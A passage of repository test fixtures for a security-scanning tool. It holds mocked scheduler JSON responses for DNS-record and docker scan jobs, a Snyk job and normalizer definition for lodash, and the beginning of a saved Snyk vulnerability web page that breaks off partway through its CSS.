    "content": "{\n  \"count\": 1,\n  \"next\": null,\n  \"previous\": null,\n  \"results\": [\n    {\n      \"id\": \"70da7d4f-f41f-4940-901b-d98a92e9014b\",\n      \"priority\": 1,\n      \"scheduler_id\": \"boefje\",\n      \"organisation\": \"_dev\",\n      \"schedule_id\": null,\n      \"status\": \"dispatched\",\n      \"type\": \"boefje\",\n      \"hash\": \"70da7d4f-f41f-4940-901b-d98a92e9014b\",\n      \"data\": {\n        \"id\": \"70da7d4f-f41f-4940-901b-d98a92e9014b\",\n        \"boefje\": {\n          \"id\": \"dns-records\",\n          \"oci_image\": null,\n          \"version\": null\n        },\n        \"input_ooi\": \"Hostname|internet|test.test\",\n        \"organization\": \"_dev\",\n        \"arguments\": {},\n        \"started_at\": null,\n        \"runnable_hash\": null,\n        \"environment\": null,\n        \"ended_at\": null\n      },\n      \"created_at\": \"2021-06-29T14:00:00\",\n      \"modified_at\": \"2021-06-29T14:00:00\"\n    }\n  ]\n}\n"
  },
  {
    "path": "boefjes/tests/examples/scheduler/pop_response_boefje_2.json",
    "content": "{\n  \"count\": 1,\n  \"next\": null,\n  \"previous\": null,\n  \"results\": [\n    {\n      \"id\": \"70da7d4f-f41f-4940-901b-d98a92e9014c\",\n      \"priority\": 1,\n      \"scheduler_id\": \"boefje\",\n      \"organisation\": \"_dev\",\n      \"schedule_id\": null,\n      \"status\": \"dispatched\",\n      \"type\": \"boefje\",\n      \"hash\": \"70da7d4f-f41f-4940-901b-d98a92e9014c\",\n      \"data\": {\n        \"id\": \"70da7d4f-f41f-4940-901b-d98a92e9014c\",\n        \"boefje\": {\n          \"id\": \"dns-records\",\n          \"version\": null\n        },\n        \"input_ooi\": \"Hostname|internet|test.test\",\n        \"organization\": \"_dev\",\n        \"arguments\": {},\n        \"started_at\": null,\n        \"runnable_hash\": null,\n        \"environment\": null,\n        \"ended_at\": null\n      },\n      \"created_at\": \"2021-06-29T14:00:00\",\n      \"modified_at\": \"2021-06-29T14:00:00\"\n    }\n  ]\n}\n"
  },
  {
    "path": "boefjes/tests/examples/scheduler/pop_response_boefje_no_ooi.json",
    "content": "{\n  \"count\": 1,\n  \"next\": null,\n  \"previous\": null,\n  \"results\": [\n    {\n      \"id\": \"70da7d4f-f41f-4940-901b-d98a92e9014b\",\n      \"priority\": 1,\n      \"scheduler_id\": \"boefje\",\n      \"organisation\": \"_dev\",\n      \"schedule_id\": null,\n      \"status\": \"dispatched\",\n      \"type\": \"boefje\",\n      \"hash\": \"70da7d4f-f41f-4940-901b-d98a92e9014b\",\n      \"data\": {\n        \"id\": \"70da7d4f-f41f-4940-901b-d98a92e9014b\",\n        \"boefje\": {\n          \"id\": \"dns-records\",\n          \"version\": null\n        },\n        \"input_ooi\": \"\",\n        \"organization\": \"_dev\",\n        \"arguments\": {},\n        \"started_at\": null,\n        \"runnable_hash\": null,\n        \"environment\": null,\n        \"ended_at\": null\n      },\n      \"created_at\": \"2021-06-29T14:00:00\",\n      \"modified_at\": \"2021-06-29T14:00:00\"\n    }\n  ]\n}\n"
  },
  {
    "path": "boefjes/tests/examples/scheduler/pop_response_duplicated_boefje.json",
    "content": "{\n  \"count\": 2,\n  \"next\": null,\n  \"previous\": null,\n  \"results\": [\n    {\n      \"id\": \"70da7d4f-f41f-4940-901b-d98a92e9014b\",\n      \"priority\": 1,\n      \"scheduler_id\": \"boefje\",\n      \"organisation\": \"_dev\",\n      \"schedule_id\": null,\n      \"status\": \"dispatched\",\n      \"type\": \"boefje\",\n      \"hash\": \"70da7d4f-f41f-4940-901b-d98a92e9014b\",\n      \"data\": {\n        \"id\": \"70da7d4f-f41f-4940-901b-d98a92e9014b\",\n        \"boefje\": {\n          \"id\": \"dns-records\",\n          \"version\": null\n        },\n        \"input_ooi\": \"Hostname|internet|test.test\",\n        \"organization\": \"_dev\",\n        \"arguments\": {},\n        \"started_at\": null,\n        \"runnable_hash\": null,\n        \"environment\": null,\n        \"ended_at\": null\n      },\n      \"created_at\": \"2021-06-29T14:00:00\",\n      \"modified_at\": \"2021-06-29T14:00:00\",\n      \"deduplication_key\": \"70da7d4f-f41f-4940-901b-d98a92e9014b\"\n    },\n    {\n      \"id\": \"a0da7d4f-f41f-4940-901b-d98a92e9014b\",\n      \"priority\": 1,\n      \"scheduler_id\": \"boefje\",\n      \"organisation\": \"_dev2\",\n      \"schedule_id\": null,\n      \"status\": \"dispatched\",\n      \"type\": \"boefje\",\n      \"hash\": \"7aaa7d4f-f41f-4940-901b-d98a92e9014b\",\n      \"data\": {\n        \"id\": \"a0da7d4f-f41f-4940-901b-d98a92e9014b\",\n        \"boefje\": {\n          \"id\": \"dns-records\",\n          \"version\": null\n        },\n        \"input_ooi\": \"Hostname|internet|test.test\",\n        \"organization\": \"_dev2\",\n        \"arguments\": {},\n        \"started_at\": null,\n        \"runnable_hash\": null,\n        \"environment\": null,\n        \"ended_at\": null\n      },\n      \"created_at\": \"2021-06-29T14:00:00\",\n      \"modified_at\": \"2021-06-29T14:00:00\",\n      \"deduplication_key\": \"70da7d4f-f41f-4940-901b-d98a92e9014b\"\n    }\n  ]\n}\n"
  },
  {
    "path": "boefjes/tests/examples/scheduler/pop_response_duplicated_boefje_error.json",
    "content": "{\n  \"count\": 2,\n  \"next\": null,\n  \"previous\": null,\n  \"results\": [\n    {\n      \"id\": \"9071c9fd-2b9f-440f-a524-ef1ca4824fd4\",\n      \"priority\": 1,\n      \"scheduler_id\": \"boefje\",\n      \"organisation\": \"_dev\",\n      \"schedule_id\": null,\n      \"status\": \"dispatched\",\n      \"type\": \"boefje\",\n      \"hash\": \"9071c9fd-2b9f-440f-a524-ef1ca4824fd4\",\n      \"data\": {\n        \"id\": \"9071c9fd-2b9f-440f-a524-ef1ca4824fd4\",\n        \"boefje\": {\n          \"id\": \"dns-records\",\n          \"version\": null\n        },\n        \"input_ooi\": \"Hostname|internet|test.test\",\n        \"organization\": \"_dev\",\n        \"arguments\": {},\n        \"started_at\": null,\n        \"runnable_hash\": null,\n        \"environment\": null,\n        \"ended_at\": null\n      },\n      \"created_at\": \"2021-06-29T14:00:00\",\n      \"modified_at\": \"2021-06-29T14:00:00\",\n      \"deduplication_key\": \"9071c9fd-2b9f-440f-a524-ef1ca4824fd4\"\n    },\n    {\n      \"id\": \"a0da7d4f-f41f-4940-901b-d98a92e9014b\",\n      \"priority\": 1,\n      \"scheduler_id\": \"boefje\",\n      \"organisation\": \"_dev2\",\n      \"schedule_id\": null,\n      \"status\": \"dispatched\",\n      \"type\": \"boefje\",\n      \"hash\": \"aaaa7d4f-f41f-4940-901b-d98a92e9014b\",\n      \"data\": {\n        \"id\": \"9071c9fd-2b9f-440f-a524-ef1ca4824fd4\",\n        \"boefje\": {\n          \"id\": \"dns-records\",\n          \"version\": null\n        },\n        \"input_ooi\": \"Hostname|internet|test.test\",\n        \"organization\": \"_dev2\",\n        \"arguments\": {},\n        \"started_at\": null,\n        \"runnable_hash\": null,\n        \"environment\": null,\n        \"ended_at\": null\n      },\n      \"created_at\": \"2021-06-29T14:00:00\",\n      \"modified_at\": \"2021-06-29T14:00:00\",\n      \"deduplication_key\": \"9071c9fd-2b9f-440f-a524-ef1ca4824fd4\"\n    }\n  ]\n}\n"
  },
  {
    "path": "boefjes/tests/examples/scheduler/pop_response_duplicated_docker_boefje.json",
    "content": "{\n  \"count\": 2,\n  \"next\": null,\n  \"previous\": null,\n  \"results\": [\n    {\n      \"id\": \"70da7d4f-f41f-4940-901b-d98a92e9014b\",\n      \"priority\": 1,\n      \"scheduler_id\": \"boefje\",\n      \"organisation\": \"_dev\",\n      \"schedule_id\": null,\n      \"status\": \"dispatched\",\n      \"type\": \"boefje\",\n      \"hash\": \"70da7d4f-f41f-4940-901b-d98a92e9014b\",\n      \"data\": {\n        \"id\": \"70da7d4f-f41f-4940-901b-d98a92e9014b\",\n        \"boefje\": {\n          \"id\": \"docker\",\n          \"version\": null\n        },\n        \"input_ooi\": \"Hostname|internet|test.test\",\n        \"organization\": \"_dev\",\n        \"arguments\": {},\n        \"started_at\": null,\n        \"runnable_hash\": null,\n        \"environment\": null,\n        \"ended_at\": null\n      },\n      \"created_at\": \"2021-06-29T14:00:00\",\n      \"modified_at\": \"2021-06-29T14:00:00\",\n      \"deduplication_key\": \"70da7d4f-f41f-4940-901b-d98a92e9014b\"\n    },\n    {\n      \"id\": \"a0da7d4f-f41f-4940-901b-d98a92e9014b\",\n      \"priority\": 1,\n      \"scheduler_id\": \"boefje\",\n      \"organisation\": \"_dev2\",\n      \"schedule_id\": null,\n      \"status\": \"dispatched\",\n      \"type\": \"boefje\",\n      \"hash\": \"7aaa7d4f-f41f-4940-901b-d98a92e9014b\",\n      \"data\": {\n        \"id\": \"70da7d4f-f41f-4940-901b-d98a92e9014b\",\n        \"boefje\": {\n          \"id\": \"docker\",\n          \"version\": null\n        },\n        \"input_ooi\": \"Hostname|internet|test.test\",\n        \"organization\": \"_dev2\",\n        \"arguments\": {},\n        \"started_at\": null,\n        \"runnable_hash\": null,\n        \"environment\": null,\n        \"ended_at\": null\n      },\n      \"created_at\": \"2021-06-29T14:00:00\",\n      \"modified_at\": \"2021-06-29T14:00:00\",\n      \"deduplication_key\": \"70da7d4f-f41f-4940-901b-d98a92e9014b\"\n    }\n  ]\n}\n"
  },
  {
    "path": "boefjes/tests/examples/scheduler/pop_response_normalizer.json",
    "content": "{\n  \"count\": 1,\n  \"next\": null,\n  \"previous\": null,\n  \"results\": [\n    {\n      \"id\": \"60da7d4ff41f4940901bd98a92e9014b\",\n      \"priority\": 1,\n      \"scheduler_id\": \"normalizer\",\n      \"organisation\": \"_dev\",\n      \"schedule_id\": null,\n      \"status\": \"dispatched\",\n      \"type\": \"normalizer\",\n      \"hash\": \"7e698c377cfd85015c0d7086b76b76b4\",\n      \"data\": {\n        \"id\": \"60da7d4ff41f4940901bd98a92e9014b\",\n        \"raw_data\": {\n          \"id\": \"60da7d4ff41f4940901bd98a92e9014a\",\n          \"boefje_meta\": {\n            \"id\": \"70da7d4ff41f4940901bd98a92e9014b\",\n            \"boefje\": {\n              \"id\": \"dns-records\",\n              \"name\": \"DnsRecords\",\n              \"description\": \"Fetch the DNS record(s) of a hostname\",\n              \"version\": null,\n              \"scan_level\": 1,\n              \"consumes\": [\n                \"Hostname\"\n              ],\n              \"produces\": [\n                \"DNSAAAARecord\",\n                \"IPAddressV6\",\n                \"NXDOMAIN\",\n                \"Hostname\",\n                \"Network\",\n                \"DNSNSRecord\",\n                \"DNSTXTRecord\",\n                \"IPAddressV4\",\n                \"DNSMXRecord\",\n                \"DNSZone\",\n                \"DNSARecord\",\n                \"DNSSOARecord\",\n                \"DNSCNAMERecord\"\n              ],\n              \"dispatches\": null\n            },\n            \"input_ooi\": \"Hostname|internet|test.test\",\n            \"organization\": \"_dev\",\n            \"dispatches\": []\n          },\n          \"mime_types\": [\n            {\n              \"value\": \"boefje/dns-records\"\n            }\n          ]\n        },\n        \"normalizer\": {\n          \"id\": \"kat_dns_normalize\"\n        }\n      },\n      \"created_at\": \"2021-06-29T14:00:00\",\n      \"modified_at\": \"2021-06-29T14:00:00\"\n    }\n  ]\n}\n"
  },
  {
    "path": "boefjes/tests/examples/scheduler/should_crash.json",
    "content": "{\n  \"count\": 1,\n  \"next\": null,\n  \"previous\": null,\n  \"results\": [\n    {\n      \"id\": \"9071c9fd-2b9f-440f-a524-ef1ca4824fd4\",\n      \"priority\": 1,\n      \"scheduler_id\": \"boefje\",\n      \"organisation\": \"_dev\",\n      \"schedule_id\": null,\n      \"status\": \"dispatched\",\n      \"type\": \"boefje\",\n      \"hash\": \"7e698c377cfd85015c0d7086b76b76b4\",\n      \"data\": {\n        \"id\": \"9071c9fd-2b9f-440f-a524-ef1ca4824fd4\",\n        \"boefje\": {\n          \"id\": \"dns-records\",\n          \"name\": \"DnsRecords\",\n          \"description\": \"Fetch the DNS record(s) of a hostname\",\n          \"version\": null,\n          \"scan_level\": 1,\n          \"consumes\": [\n            \"Hostname\"\n          ],\n          \"produces\": [\n            \"DNSAAAARecord\",\n            \"IPAddressV6\",\n            \"NXDOMAIN\",\n            \"Hostname\",\n            \"Network\",\n            \"DNSNSRecord\",\n            \"DNSTXTRecord\",\n            \"IPAddressV4\",\n            \"DNSMXRecord\",\n            \"DNSZone\",\n            \"DNSARecord\",\n            \"DNSSOARecord\",\n            \"DNSCNAMERecord\"\n          ],\n          \"dispatches\": null\n        },\n        \"input_ooi\": \"Hostname|internet|test.test\",\n        \"organization\": \"_dev\",\n        \"dispatches\": []\n      },\n      \"created_at\": \"2021-06-29T14:00:00\",\n      \"modified_at\": \"2021-06-29T14:00:00\"\n    }\n  ]\n}\n"
  },
  {
    "path": "boefjes/tests/examples/scheduler/should_crash_2.json",
    "content": "{\n  \"count\": 1,\n  \"next\": null,\n  \"previous\": null,\n  \"results\": [\n    {\n      \"id\": \"2071c9fd-2b9f-440f-a524-ef1ca4824fd4\",\n      \"priority\": 1,\n      \"scheduler_id\": \"boefje\",\n      \"organisation\": \"_dev\",\n      \"schedule_id\": null,\n      \"status\": \"dispatched\",\n      \"type\": \"boefje\",\n      \"hash\": \"7e698c377cfd85015c0d7086b76b76b4\",\n      \"data\": {\n        \"id\": \"2071c9fd-2b9f-440f-a524-ef1ca4824fd4\",\n        \"boefje\": {\n          \"id\": \"dns-records\",\n          \"name\": \"DnsRecords\",\n          \"description\": \"Fetch the DNS record(s) of a hostname\",\n          \"version\": null,\n          \"scan_level\": 1,\n          \"consumes\": [\n            \"Hostname\"\n          ],\n          \"produces\": [\n            \"DNSAAAARecord\",\n            \"IPAddressV6\",\n            \"NXDOMAIN\",\n            \"Hostname\",\n            \"Network\",\n            \"DNSNSRecord\",\n            \"DNSTXTRecord\",\n            \"IPAddressV4\",\n            \"DNSMXRecord\",\n            \"DNSZone\",\n            \"DNSARecord\",\n            \"DNSSOARecord\",\n            \"DNSCNAMERecord\"\n          ],\n          \"dispatches\": null\n        },\n        \"input_ooi\": \"Hostname|internet|test.test\",\n        \"organization\": \"_dev\",\n        \"dispatches\": []\n      },\n      \"created_at\": \"2021-06-29T14:00:00\",\n      \"modified_at\": \"2021-06-29T14:00:00\"\n    }\n  ]\n}\n"
  },
  {
    "path": "boefjes/tests/examples/snyk-job.json",
    "content": "{\n  \"id\": \"8ea73acd-3aac-408e-8493-1a3e4fc1a1c9\",\n  \"boefje\": {\n    \"id\": \"snyk\",\n    \"version\": null\n  },\n  \"organization\": \"_dev\",\n  \"input_ooi\": \"Software|lodash|1.1.0|\",\n  \"arguments\": {\n    \"input\": {\n      \"pk\": \"Software|lodash|1.1.0|\",\n      \"name\": \"lodash\",\n      \"version\": \"1.1.0\"\n    }\n  },\n  \"dispatches\": [\n    {\n      \"id\": \"kat_snyk_normalize\",\n      \"version\": null\n    }\n  ]\n}\n"
  },
  {
    "path": "boefjes/tests/examples/snyk-normalizer.json",
    "content": "{\n  \"id\": \"097c5a6e-3e35-4700-96db-2a63ae9ea679\",\n  \"raw_data\": {\n    \"id\": \"875b0062-f86d-4c83-962c-e5f6106f1072\",\n    \"boefje_meta\": {\n      \"id\": \"2cc42564-ada1-4ca7-8ec8-17ddd9d68a8d\",\n      \"boefje\": {\n        \"id\": \"snyk\",\n        \"version\": null\n      },\n      \"organization\": \"_dev\",\n      \"input_ooi\": \"Software|lodash|1.1.0|\",\n      \"arguments\": {\n        \"input\": {\n          \"software\": {\n            \"name\": \"lodash\",\n            \"version\": \"1.1.0\"\n          }\n        }\n      },\n      \"dispatches\": [\n        {\n          \"id\": \"kat_snyk_normalize\",\n          \"version\": null\n        }\n      ]\n    },\n    \"mime_types\": [\n      {\n        \"value\": \"boefje/dns-records\"\n      }\n    ]\n  },\n  \"normalizer\": {\n    \"id\": \"kat_snyk.normalize\",\n    \"version\": null\n  }\n}\n"
  },
  {
    "path": "boefjes/tests/examples/snyk-vuln.html",
    "content": "\n<!doctype html>\n<html data-n-head-ssr lang=\"en\" data-n-head=\"%7B%22lang%22:%7B%22ssr%22:%22en%22%7D%7D\">\n  <head >\n    <title>lodash vulnerabilities | Snyk</title><meta data-n-head=\"ssr\" charset=\"utf-8\"><meta data-n-head=\"ssr\" name=\"viewport\" content=\"width=device-width, initial-scale=1\"><meta data-n-head=\"ssr\" http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\"><meta data-n-head=\"ssr\" http-equiv=\"x-ua-compatible\" content=\"ie=edge\"><meta data-n-head=\"ssr\" property=\"og:locale\" content=\"en_US\"><meta data-n-head=\"ssr\" property=\"og:type\" content=\"website\"><meta data-n-head=\"ssr\" property=\"og:url\" content=\"https://security.snyk.io/\"><meta data-n-head=\"ssr\" data-hid=\"og:site_name\" property=\"og:site_name\" content=\"Find detailed information and remediation guidance for vulnerabilities.\"><meta data-n-head=\"ssr\" property=\"og:image\" content=\"https://res.cloudinary.com/snyk/image/upload/v1468845142/logo/snyk-avatar.png\"><meta data-n-head=\"ssr\" property=\"og:image:width\" content=\"600\"><meta data-n-head=\"ssr\" property=\"og:image:height\" content=\"600\"><meta data-n-head=\"ssr\" property=\"og:image:alt\" content=\"Snyk Vulnerability Database\"><meta data-n-head=\"ssr\" property=\"og:image:type\" content=\"image/png\"><meta data-n-head=\"ssr\" name=\"twitter:card\" content=\"summary_large_image\"><meta data-n-head=\"ssr\" name=\"twitter:site\" content=\"@snyksec\"><meta data-n-head=\"ssr\" name=\"twitter:creator\" content=\"@snyksec\"><meta data-n-head=\"ssr\" data-hid=\"title\" name=\"title\" content=\"lodash vulnerabilities | Snyk\"><meta data-n-head=\"ssr\" data-hid=\"description\" name=\"description\" content=\"Learn more about known vulnerabilities in the lodash package. Lodash modular utilities.\"><meta data-n-head=\"ssr\" data-hid=\"og:title\" property=\"og:title\" content=\"lodash vulnerabilities | Snyk\"><meta data-n-head=\"ssr\" data-hid=\"og:description\" property=\"og:description\" content=\"Learn more about known vulnerabilities in the lodash package. Lodash modular utilities.\"><meta data-n-head=\"ssr\" data-hid=\"twitter:title\" name=\"twitter:title\" content=\"lodash vulnerabilities | Snyk\"><meta data-n-head=\"ssr\" data-hid=\"twitter:description\" name=\"twitter:description\" content=\"Learn more about known vulnerabilities in the lodash package. Lodash modular utilities.\"><base href=\"/\"><link data-n-head=\"ssr\" rel=\"icon\" sizes=\"192x192\" href=\"https://snyk.io/favicon.png\"><link data-n-head=\"ssr\" rel=\"shortcut icon\" href=\"https://snyk.io/favicon.ico\" type=\"image/x-icon\"><link data-n-head=\"ssr\" rel=\"apple-touch-icon\" href=\"https://snyk.io/favicon.ico\" type=\"image/x-icon\"><link data-n-head=\"ssr\" rel=\"stylesheet\" href=\"https://fonts.googleapis.com/css2?family=Poppins:wght@400;600&amp;display=swap\"><link data-n-head=\"ssr\" rel=\"canonical\" href=\"https://security.snyk.io/package/npm/lodash\"><script data-n-head=\"ssr\" type=\"application/ld+json\">{\"@context\":\"http://schema.org\",\"@type\":\"BreadcrumbList\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"item\":{\"name\":\"Snyk Vulnerability Database\",\"@id\":\"https://security.snyk.io/vuln\"}},{\"@type\":\"ListItem\",\"position\":2,\"item\":{\"name\":\"npm\",\"@id\":\"https://security.snyk.io/vuln/npm\"}},{\"@type\":\"ListItem\",\"position\":3,\"item\":{\"name\":\"lodash\"}}]}</script><link rel=\"preload\" href=\"/_nuxt/93175d7.js\" as=\"script\"><link rel=\"preload\" href=\"/_nuxt/64d0c54.js\" as=\"script\"><link rel=\"preload\" href=\"/_nuxt/74535e1.js\" as=\"script\"><link rel=\"preload\" href=\"/_nuxt/56b97f8.js\" as=\"script\"><link rel=\"preload\" href=\"/_nuxt/ef6d428.js\" as=\"script\"><link rel=\"preload\" href=\"/_nuxt/e28ec5e.js\" as=\"script\"><link rel=\"preload\" href=\"/_nuxt/e59929a.js\" as=\"script\"><link rel=\"preload\" href=\"/_nuxt/6c1a212.js\" as=\"script\"><link rel=\"preload\" href=\"/_nuxt/fe1dece.js\" as=\"script\"><style data-vue-ssr-id=\"79562cab:0 bc9488b0:0 6c1715b0:0 5474b757:0 d0bd84d6:0 338b4d83:0 5a592308:0 0377c397:0 8c6c2944:0 6ee29eb1:0 f6ebc83c:0 7a942c2a:0 8773814e:0 a8ef8092:0 b201d506:0 e18f53fa:0 df68bb3a:0 49555e5f:0 2afa21a2:0 7d00721a:0 648901ea:0 bc609f66:0 0a923106:0 3a5539dc:0 8f9c8cb6:0 325e47a8:0 917ff20a:0 609f60dc:0 55eefd96:0 93b25730:0 0365dc7a:0 54cab0ca:0 2b73b4f8:0 b803897e:0 205026a2:0\">a,abbr,area,article,aside,audio,b,bdo,blockquote,body,button,canvas,caption,cite,code,col,colgroup,datalist,dd,del,details,dfn,dialog,div,dl,dt,em,embed,fieldset,figure,form,h1,h2,h3,h4,h5,h6,head,header,hgroup,hr,html,i,iframe,img,input,ins,kbd,keygen,label,legend,li,map,mark,menu,meter,nav,noscript,object,ol,optgroup,option,output,p,param,pre,progress,q,rp,rt,ruby,samp,section,select,small,span,strong,sub,sup,table,tbody,td,textarea,tfoot,th,thead,time,tr,ul,var,video{background:transparent;border:0;font:inherit;font-size:100%;margin:0;outline:none;padding:0;text-align:inherit;text-decoration:none;vertical-align:baseline;z-index:auto}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:\"\";content:none}table{border-collapse:collapse;border-spacing:0}abbr,abbr[title]{text-decoration:none}@font-face{font-display:fallback;font-family:\"roboto\";src:url(https://static.snyk.io/prod/static-assets/style/build/fonts/roboto-regular.woff2) format(\"woff2\"),url(https://static.snyk.io/prod/static-assets/style/build/fonts/roboto-regular.woff) format(\"woff\");font-style:normal;font-weight:400}@font-face{font-display:optional;font-family:\"roboto\";src:url(https://static.snyk.io/prod/static-assets/style/build/fonts/roboto-italic.woff2) format(\"woff2\"),url(https://static.snyk.io/prod/static-assets/style/build/fonts/roboto-italic.woff) format(\"woff\");font-style:italic;font-weight:400}@font-face{font-display:fallback;font-family:\"roboto\";src:url(https://static.snyk.io/prod/static-assets/style/build/fonts/roboto-medium.woff2) format(\"woff2\"),url(https://static.snyk.io/prod/static-assets/style/build/fonts/roboto-medium.woff) format(\"woff\");font-style:normal;font-weight:500}@font-face{font-display:optional;font-family:\"roboto\";src:url(https://static.snyk.io/prod/static-assets/style/build/fonts/roboto-medium-italic.woff2) format(\"woff2\"),url(https://static.snyk.io/prod/static-assets/style/build/fonts/roboto-medium-italic.woff) format(\"woff\");font-style:italic;font-weight:500}@font-face{font-display:fallback;font-family:\"roboto\";src:url(https://static.snyk.io/prod/static-assets/style/build/fonts/roboto-bold.woff2) format(\"woff2\"),url(https://static.snyk.io/prod/static-assets/style/build/fonts/roboto-bold.woff) format(\"woff\");font-style:normal;font-weight:700}.highlight{background-color:#99e4ff}.dimmed{color:#727184}.critical-severity{color:#ad1a1a}.high-severity{color:#cc4f19}.medium-severity{color:#d68100}.low-severity{color:#86859d}*{box-sizing:border-box}svg:not(:root){display:inline-block;fill:currentColor;overflow:hidden;vertical-align:middle}.margin--xxxl{margin:85.3333333333px}.margin-top--xxxl{margin-top:85.3333333333px}.margin-right--xxxl{margin-right:85.3333333333px}.margin-bottom--xxxl{margin-bottom:85.3333333333px}.margin-left--xxxl{margin-left:85.3333333333px}@media only screen and (min-width:40em){.margin--xxxl{margin:128px}.margin-top--xxxl{margin-top:128px}.margin-right--xxxl{margin-right:128px}.margin-bottom--xxxl{margin-bottom:128px}.margin-left--xxxl{margin-left:128px}}.margin--xxl{margin:42.6666666667px}.margin-top--xxl{margin-top:42.6666666667px}.margin-right--xxl{margin-right:42.6666666667px}.margin-bottom--xxl{margin-bottom:42.6666666667px}.margin-left--xxl{margin-left:42.6666666667px}@media only screen and (min-width:40em){.margin--xxl{margin:64px}.margin-top--xxl{margin-top:64px}.margin-right--xxl{margin-right:64px}.margin-bottom--xxl{margin-bottom:64px}.margin-left--xxl{margin-left:64px}}.margin--xl{margin:32px}.margin-top--xl{margin-top:32px}.margin-right--xl{margin-right:32px}.margin-bottom--xl{margin-bottom:32px}.margin-left--xl{margin-left:32px}@media only screen and (min-width:40em){.margin--xl{margin:48px}.margin-top--xl{margin-top:48px}.margin-right--xl{margin-right:48px}.margin-bottom--xl{margin-bottom:48px}.margin-left--xl{margin-left:48px}}.margin--l{margin:21.3333333333px}.margin-top--l{margin-top:21.3333333333px}.margin-right--l{margin-right:21.3333333333px}.margin-bottom--l{margin-bottom:21.3333333333px}.margin-left--l{margin-left:21.3333333333px}@media only screen and (min-width:40em){.margin--l{margin:32px}.margin-top--l{margin-top:32px}.margin-right--l{margin-right:32px}.margin-bottom--l{margin-bottom:32px}.margin-left--l{margin-left:32px}}.margin--m{margin:16px}.margin-top--m{margin-top:16px}.margin-right--m{margin-right:16px}.margin-bottom--m{margin-bottom:16px}.margin-left--m{margin-left:16px}@media only screen and (min-width:40em){.margin--m{margin:24px}.margin-top--m{margin-top:24px}.margin-right--m{margin-right:24px}.margin-bottom--m{margin-bottom:24px}.margin-left--m{margin-left:24px}}.margin--default{margin:10.6666666667px}.margin-top--default{margin-top:10.6666666667px}.margin-right--default{margin-right:10.6666666667px}.margin-bottom--default{margin-bottom:10.6666666667px}.margin-left--default{margin-left:10.6666666667px}@media only screen and (min-width:40em){.margin--default{margin:16px}.margin-top--default{margin-top:16px}.margin-right--default{margin-right:16px}.margin-bottom--default{margin-bottom:16px}.margin-left--default{margin-left:16px}}.margin--s{margin:8px}.margin-top--s{margin-top:8px}.margin-right--s{margin-right:8px}.margin-bottom--s{margin-bottom:8px}.margin-left--s{margin-left:8px}@media only screen and (min-width:40em){.margin--s{margin:12px}.margin-top--s{margin-top:12px}.margin-right--s{margin-right:12px}.margin-bottom--s{margin-bottom:12px}.margin-left--s{margin-left:12px}}.margin--xs{margin:5.3333333333px}.margin-top--xs{margin-top:5.3333333333px}.margin-right--xs{margin-right:5.3333333333px}.margin-bottom--xs{margin-bottom:5.3333333333px}.margin-left--xs{margin-left:5.3333333333px}@media only screen and (min-width:40em){.margin--xs{margin:8px}.margin-top--xs{margin-top:8px}.margin-right--xs{margin-right:8px}.margin-bottom--xs{margin-bottom:8px}.margin-left--xs{margin-left:8px}}.margin--xxs{margin:2.6666666667px}.margin-top--xxs{margin-top:2.6666666667px}.margin-right--xxs{margin-right:2.6666666667px}.margin-bottom--xxs{margin-bottom:2.6666666667px}.margin-left--xxs{margin-left:2.6666666667px}@media only screen and (min-width:40em){.margin--xxs{margin:4px}.margin-top--xxs{margin-top:4px}.margin-right--xxs{margin-right:4px}.margin-bottom--xxs{margin-bottom:4px}.margin-left--xxs{margin-left:4px}}.margin--xxxs{margin:1.3333333333px}.margin-top--xxxs{margin-top:1.3333333333px}.margin-right--xxxs{margin-right:1.3333333333px}.margin-bottom--xxxs{margin-bottom:1.3333333333px}.margin-left--xxxs{margin-left:1.3333333333px}@media only screen and (min-width:40em){.margin--xxxs{margin:2px}.margin-top--xxxs{margin-top:2px}.margin-right--xxxs{margin-right:2px}.margin-bottom--xxxs{margin-bottom:2px}.margin-left--xxxs{margin-left:2px}}.scoped,body,button,html,input,textarea{font-family:roboto,\"Gill Sans\",\"Calibri\",sans-serif;font-style:normal;font-weight:400;color:inherit;line-height:1.4;font-feature-settings:\"pnum\"}html,input,textarea{color:#555463}h1,h2{font-family:roboto,\"Gill Sans\",\"Calibri\",sans-serif;font-style:normal;font-weight:400}h2{font-size:1.5rem}h3{font-size:1.25rem;line-height:1.8}h3,h4,h5,h6{font-family:roboto,\"Gill Sans\",\"Calibri\",sans-serif;font-style:normal;font-weight:500}h4,h5,h6{font-size:1rem}h1,h2,h3,h4,h5,h6{color:#1c1c21}a{cursor:pointer;text-decoration:none}a,a:hover{color:#4b45a1}a:hover{text-decoration:underline}p{margin:12px 0}p:first-child{margin-top:0}p:last-child{margin-bottom:0}strong{font-weight:500}em{font-style:italic}hr{background-color:#d3d3d9;border:none;display:block;height:1px}ol{margin:0;padding:0 0 0 1em;list-style:decimal;font-feature-settings:\"pnum\"}ol li{margin:8px 0}ul{margin:0;padding:0 0 0 1em;list-style:disc;font-feature-settings:\"pnum\"}ul li{margin:8px 0}.footnote{font-style:italic;color:#727184;font-size:.875rem}img{max-width:100%}code{background-color:rgba(85,84,99,.1);border-radius:4px;font-family:\"Consolas\",\"Monaco\",\"Andale Mono\",\"Ubuntu Mono\",monospace;font-feature-settings:\"pnum\";font-variant:proportional-nums;font-size:90%;padding:2px 4px;white-space:pre}p code{white-space:pre-wrap}@media only percy{.hide-in-percy{display:none!important}}.table{margin-bottom:12px;width:auto}.table tr{border:none}.table td,.table th{font-size:1rem;letter-spacing:0;line-height:1.65;text-transform:none;color:#555463;padding:0;vertical-align:top}.table th{font-weight:500}.table--basic th{text-align:left}.table--basic td,.table--basic th{padding-right:12px}.table--small td,.table--small th{font-size:.875rem}.shake-horizontal{animation:shake-horizontal .8s cubic-bezier(.455,.03,.515,.955) both}@keyframes shake-horizontal{0%,to{transform:translateX(0)}10%,30%,50%,70%{transform:translateX(-10px)}20%,40%,60%{transform:translateX(10px)}80%{transform:translateX(8px)}90%{transform:translateX(-8px)}}.shake-horizontal-subtle{animation:shake-horizontal-subtle .8s cubic-bezier(.455,.03,.515,.955) both}@keyframes shake-horizontal-subtle{0%,to{transform:translateX(0)}10%,30%,50%,70%{transform:translateX(-4px)}20%,40%,60%{transform:translateX(4px)}80%{transform:translateX(2px)}90%{transform:translateX(-2px)}}.shake-vertical{animation:shake-vertical .8s cubic-bezier(.455,.03,.515,.955) both}@keyframes 